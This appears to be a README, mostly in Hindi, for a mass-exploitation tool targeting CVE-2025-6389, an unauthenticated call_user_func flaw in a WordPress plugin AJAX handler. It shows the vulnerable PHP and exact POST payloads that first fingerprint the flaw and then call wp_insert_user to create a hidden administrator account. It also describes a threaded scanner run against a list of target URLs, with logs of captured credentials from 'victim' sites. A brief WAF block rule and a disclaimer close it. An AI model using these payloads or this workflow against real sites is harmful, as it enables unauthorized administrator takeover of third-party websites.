// प्रमाणीकरण जाँच के बिना पंजीकृत
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');

function sneeit_articles_pagination_callback() {
    $callback = $_POST['callback'];  // ← उपयोगकर्ता-नियंत्रित फ़ंक्शन नाम
    $args     = json_decode(stripslashes($_POST['args']), true); // ← उपयोगकर्ता-नियंत्रित तर्क

    // किसी भी PHP फ़ंक्शन को किसी भी तर्क के साथ कॉल करना — शून्य मान्यता
    $result = call_user_func($callback, ...$args);

    echo $result;
    die();
}

चरण 1 — जाँच / फिंगरप्रिंट
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = var_dump
  args     = ["test"]

अपेक्षित प्रतिक्रिया → array(1) { [0]=> string(4) "test" }
  ↓
पुष्टि करता है: call_user_func() पहुँच योग्य है और आउटपुट प्रतिबिंबित कर रहा है

──────────────────────────────────────────────────────────────────
चरण 2 — व्यवस्थापक खाता निर्माण
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = wp_insert_user
  args     = {"user_login":"Nxploited_XXXX",
               "user_pass":"xplpass",
               "user_email":"...",
               "role":"administrator"}

परिणाम → लक्ष्य पर चुपचाप नया व्यवस्थापक खाता बनाया गया
  ↓
पूर्ण WordPress व्यवस्थापक पैनल पहुँच प्राप्त ✔️

pip install requests rich

CVE-2025-6389/
├── CVE-2025-6389.py          # मुख्य शोषण स्क्रिप्ट
├── list.txt                  # लक्ष्य URL — प्रति पंक्ति एक
├── success_results.txt       # स्वतः उत्पन्न: सफल लक्ष्य + क्रेडेंशियल्स
└── debug_responses/          # स्वतः उत्पन्न: डिबगिंग के लिए कच्चे सर्वर प्रतिक्रियाएँ
    └── <target>.resp.txt

https://target1.com
https://target2.com
http://target3.com

python CVE-2025-6389.py

लक्ष्य फ़ाइल का नाम (डिफ़ॉल्ट list.txt): list.txt
थ्रेड्स की संख्या (डिफ़ॉल्ट 10):       20

┌─────────────────────────────────────────────────────────────────────┐
│  [ASCII BANNER]                                                      │
├──────────────────────────────┬──────────────────────────────────────┤
│  जानकारी                     │  आँकड़े                               │
│  उपयोग: लक्ष्य डालें...    │  कुल लक्ष्य:  150                 │
│  थ्रेड्स: 20                 │  प्रसंस्कृत:      87                  │
│  पासवर्ड: xplpass           │  सफलताएँ:      12                  │
│  सफलता लॉग: success...     │  विफलताएँ:       75                  │
│  डीबग डीआईआर: debug_responses  │  बीता समय:        00:01:43            │
├──────────────────────────────┴──────────────────────────────────────┤
│  हाल के परिणाम                                                      │
│  समय     लक्ष्य                              परिणाम                 │
│  14:23:01 https://victim.com                  SUCCESS               │
│  14:23:03 https://example.net                 FAIL                  │
└─────────────────────────────────────────────────────────────────────┘

https://victim.com | USER: Nxploited_4821 | PASS: xplpass | EMAIL: [email protected]

debug_responses/
└── https___victim.com.resp.txt   ← विश्लेषण के लिए कच्ची सर्वर प्रतिक्रिया

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=sneeit_articles_pagination&callback=<FUNCTION>&args=<JSON>

IF request.method == POST
AND request.path  == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "sneeit_articles_pagination"
AND request.body CONTAINS "callback"
THEN BLOCK + ALERT

THIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL, AUTHORIZED PENETRATION
TESTING, AND SECURITY RESEARCH PURPOSES ONLY.

By downloading, running, or modifying this script, you explicitly agree:

  • You have EXPLICIT, WRITTEN authorization from the owner of every
    system you test. No exceptions.

  • You are operating within a controlled lab environment or during a
    formally scoped and authorized engagement.

  • You will NOT deploy this tool against any system, network, or
    infrastructure you do not have legal permission to test.

  • Nxploited and all contributors assume ZERO liability for any
    unauthorized use, damage, data loss, legal action, or criminal
    prosecution arising from the use of this tool.

Unauthorized use of this exploit is a criminal offense under:
  — Computer Fraud and Abuse Act (CFAA), USA
  — Computer Misuse Act (CMA), UK
  — EU Directive 2013/40/EU on Attacks Against Information Systems
  — And all equivalent national and international cybercrime laws.

USE RESPONSIBLY. HACK ETHICALLY. DISCLOSE RESPONSIBLY.